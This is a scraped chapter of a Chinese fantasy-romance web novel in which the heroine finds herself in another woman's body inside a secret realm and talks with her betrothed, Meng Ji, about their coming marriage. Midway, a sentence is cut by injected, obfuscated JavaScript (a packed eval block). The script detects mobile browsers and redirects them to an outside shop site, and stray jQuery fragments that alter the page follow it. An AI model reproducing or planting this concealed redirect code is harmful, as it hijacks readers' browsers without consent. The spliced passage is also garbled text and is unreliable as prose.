默认冷灰
24号文字
方正启体

25. 啼笑皆非

作者:故思绵绵本书字数:K更新时间:
    眼前是一个侍女模样的女子。


    苏辞影曾见过这样的穿着。


    孟霁身边的侍女便是如此装束,然而眼前这名女子却与常人不同,她的头发虽是乌黑、光亮的色泽,双眸中却不见眼瞳,整张脸呈现出浓郁的尸青色。


    看起来不像活人,倒似宫殿中游走的行尸走肉。而在她身后,还站着许多一模一样的“尸身”。所有侍女都提着一盏暗红宫灯,随着风便轻轻摇曳着,陡然见到苏辞影时,惨白的脸上竟也露出活人似的惊惶。


    但苏辞影比侍女们更加恐惧。


    这座长廊架于长河之上,更像是一座桥梁搭在上面,当她惊疑不定地视线转向侧方,能望见漫目的火树银花。


    就在她僵硬万分的时候,只听那侍女低声道:“小宫主,您怎么出来了?近日宫主……他心情不佳,若您私自出宫,恐怕又要惹他动怒。”


    苏辞影全然不明白如今的状况。她一边凝视着宫人青白的面容,一边攥紧手心。


    由于对这秘境的一切不熟悉,她还是决定顺势接话,以此来试探一下自身的处境:“……我并非要私自出宫,若提前告知宫主,他是否就不会生气了?”


    诡异的是,即使苏辞影离这些“侍女”极近,也闻不到丝毫尸臭,但她们的确不像活人,连唇瓣都是乌紫色。


    “不可!”侍女闻言急道,“小宫主,快回去吧。再有一月您便要同少宫主成亲了,您莫再胡思乱想,也别出宫了,免得宫主降罪……”


    侍女们似乎极为惧怕这位宫主,待苏辞影向前走去时,心中忽然生出猜测。


    自己此刻恐怕正在双极宫中。


    那些侍女眼熟的服饰、她们口中“宫主”的称呼,还有周遭的环境,都与传说中的双极宫极为相似。


    可她不明白,为何这些侍女全无活人的模样,又为何会在“同心秘境”里看到这些景象,更令她不安的是,她们口中的那桩婚事。


    一个月后,她要与这里的少宫主,也就是孟霁成婚。


    等到苏辞影随着侍女们,回到那间被指认为属于她的宫室时,只觉手脚一片冰凉。


    趁着侍女们忙着在殿内张贴红绸,悬挂大红喜字,摆放成双的鸳鸯喜烛,苏辞影悄然溜进了寝殿深处。她仔细摸索了一番,却并未找到什么有用的、有意义的物件。


    只是——


    她的目光忽然定在了一面泛着昏黄光晕的铜镜上。


    镜中映出一道模糊的身影。她不由自主地朝它走去,脚步越来越快,心跳也愈发急促。待她惊魂未定地在妆奁前坐下时,看清镜中容颜的刹那,呼吸几乎停滞了。


    那全然是一张陌生的脸,这根本不是她原有的容貌,甚至不是她熟悉的身躯。


    意识到这一点,铜镜中的倒影也随之露出了怪异的神情。苏辞影撑在桌案上的手指节节泛白,她咬紧牙关,死死盯着镜中的面容,脑海里却飞速闪过那位曾入梦而来的贵妇人。


    这张脸,几乎与那贵妇人是一个模子里刻出来的,尤其是那眉梢眼角带着的,尽是娇艳夺目的美丽。


    双极宫,贵妇人,少宫主。


    她猛然想起孟霁曾提及的那桩婚约,那是九百年前,他与“琼漪”有过的婚约。


    所以,自己如今在琼漪的身体里。


    同心秘境会映照人内心最深切的渴望,难道自己更想成为她?


    这念头令苏辞影险些喘不过气。


    华美的宫阙之中,仿佛唯有她一个活人。往来的侍女侍从皆如行尸走肉,极致的红绸、喜色之间,弥漫着无尽的诡谲怪诞。这里不像什么天上人间,反倒像阴司地府、鬼域邪地。


    她至今酒意未散,亦不敢饮侍女呈上的醒酒汤。


    正在此时,竟有一名侍女徐步近前。


    苏辞影本来还有点提心吊胆的,生怕这侍女做出什么事来。


    但着实是她多虑了,听这位侍女的言语、分辨其语气,料想她应是“琼漪”身旁旧人而已。所以这侍女胆子颇大,似对这桩婚事极为不满,竟凑到苏辞影身侧,低声埋怨起孟霁来。


    她的言语间大意是说,孟霁先前与另一侍女似有牵扯,曾赠画一幅落入那人手中,画上题字隐约含情、暧昧难明,倒像是彼此有意。


    苏辞影对此毫无兴致,只含糊应道:“嗯,我知晓了,你且安心吧。”


    侍女闻言,这才依依敛衽,准备告退了:“那小婢先去布置小宫主的寝宫了,先前小宫主吩咐盖头上不绣鸳鸯,改绣并蒂莲,如今已绣成,晚些便拿来给您过目。”


    “好……”


    纵使眼前侍女形貌诡异,苏辞影仍觉她曾是个鲜活之人。可能宫人们是困于这个秘境,才成了这“尸身”一般的模样,再回忆起侍女言语中真切关怀,她不由得一时怔忡,竟有些恍惚。


    如今也不知在这里坐了多久,苏辞影都有些昏昏欲睡了,忽然听见有人呼唤自己。


    待到她闻声抬首,放眼望去,看清那个人的时候,撑着桌案的手肘不由得有些僵硬。


    “辞树——”


    居然是孟霁。


    他仍是生时的模样,眉目如画,仪态端方。尽管或许是九百年前的容颜,却与她曾见的毫无二致。如今身着一袭秋香色轻衫,外罩海天霞色开衫,更显得气度温润。


    见他仍是面带笑意,苏辞影心下安心许多。


    “你近日身体可好些了?”话音未落,孟霁却已瞥见案上酒壶,他神色却未变,只柔声道,“我知你心中不快,但你我多年情分,纵无男女之爱,亦有亲情在,故而不必担忧什么。”


    苏辞影尚未理解孟霁话中的深意,便见他忽然俯身,随着一阵衣料摩擦的轻响,他竟以手背轻轻触了触她发烫的面颊。


    “辞树,即便你不喜欢我,成婚后我仍然会把你当做妹妹照顾,悉心体谅着你,就像之前一样。”孟霁说着,察觉她神色僵硬,又道,“抱歉,辞树,我明白你还惦念着他。”


    他的姿态亲昵而自然,苏辞影一时忘了躲闪。但她清楚孟霁倾心的并非自己,而是这具身躯的原主,不由得慌忙向后仰去。


    “少宫主——”苏辞影脱口而出才觉失言,却已无法挽回,当迎着孟霁的目光,她急急补救道,“你如今已是少宫主了……”


    孟霁先是一怔,继而笑若春华:“不错。但这位置本非我意……辞树这般唤我,倒令人不惯,还是唤我燕来吧。”


    “燕……燕来?”


    “嗯。”他眉眼微弯,在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027369|192132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她身侧落座,“好了,我们的小宫主,别总是惦记旁人。至少在此处,也体谅体谅我的心绪?”


    面对这般打趣,苏辞影只得正襟危坐,但这样反惹得孟霁啼笑皆非。他唤侍女另取杯盏,摆在她面前的却是清茶。与他碰杯时,苏辞影仍未回神。


    见他饮下酒液后看似无碍,苏辞影也硬着头皮抿了口茶。幸而茶水温润适口,滋味清正,等到一杯饮尽,确驱散了周身酒气,令思绪清明几分。


    孟霁放下酒杯时,唇上犹沾潋滟水光。他凝视她的面容,轻声道:“再有一月,我们便要成亲了。”


    “……哈哈哈哈。”苏辞影一时不知如何应对,她与孟霁本就不甚相熟,只能嘴上敷衍道,“是啊,先贺喜你了。”


    “何谓贺喜我?难道新娘不是你么?”


    “……那便同喜,同喜。”


    “无论如何,我知你心底仍怨我,辞树,”孟霁阖目轻叹,“对不起。”


    这番道歉令苏辞影极为茫然,原本这身躯本非她所有,此刻她才是真正的鸠占鹊巢。但她也不能叫孟霁看出端倪,免得被当作夺舍琼漪的邪修,所以她只得故作深沉:“无妨,都过去了。”


    孟霁似未料到她竟会接受歉意。


    他的反应鲜明而古怪,执杯的手甚至微颤了一瞬。


    苏辞影此刻明显察觉到,孟霁看向她的眼神也变了,竟带上了审视的意味:“能听你这样说,实在太好了。我还以为此生都得不到原谅……毕竟当年确是我一念之差,为试探你的心意,才惹出那些风波。”


    察觉他神情有异,苏辞影一边思绪飞转,一边顺着他的话道:“是啊。直至今日,我仍不知你为何要试探我。”


    此言一出,孟霁眸光渐渐黯淡下去。


    “你的心……从来不在我这里,对吗?”他苦笑一声,继而饮尽杯中残酒,才缓声道,“辞树,我往后定然一心一意待你。”


    一心一意?


    苏辞影霎时间明了。她结合之前侍女的抱怨,既为打消孟霁疑心,也为探得更多讯息,立即反问道:“这便是,你与她纠缠不清的缘由吗?”


    “……我从未与那侍女有过什么。”孟霁叹息一声,“我已解释过许多次了,辞树。我之所以那样做,只是是不愿你那么冷淡……想知道你是否在意我。可结果你也清楚,你宁可与我一刀两断,也不愿信这是我的……私心。”


    苏辞影觉得他这话根本站不住脚。


    “你的意思,你与那侍女之间的事,只是为了试探我?可你既有疑虑,为何不能直说?男女情爱、婚嫁之事,本该你情我愿,你又何须如此煞费苦心。”说到这里,苏辞影真觉得孟霁算不上良人。


    听闻此言,孟霁也是脸色惨败,但他深深看了苏辞影一眼,仍柔声道:“是,这件事是我不对,是我失了风度。”


    “辞树,请你原谅我。”


    就在二人交谈之际,宫室中又有一人到来。对方并不似孟霁那般径直入内,而是先叫侍女通传,倒像是个需与“琼漪”守着礼教、谨守身份之别的人物。


    苏辞影一时间闻得侍女禀报,为着多探明几分自身处境,便顺势答应了下来。只是此刻她并未瞧见,一旁孟霁的脸色,愈发微妙些许。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)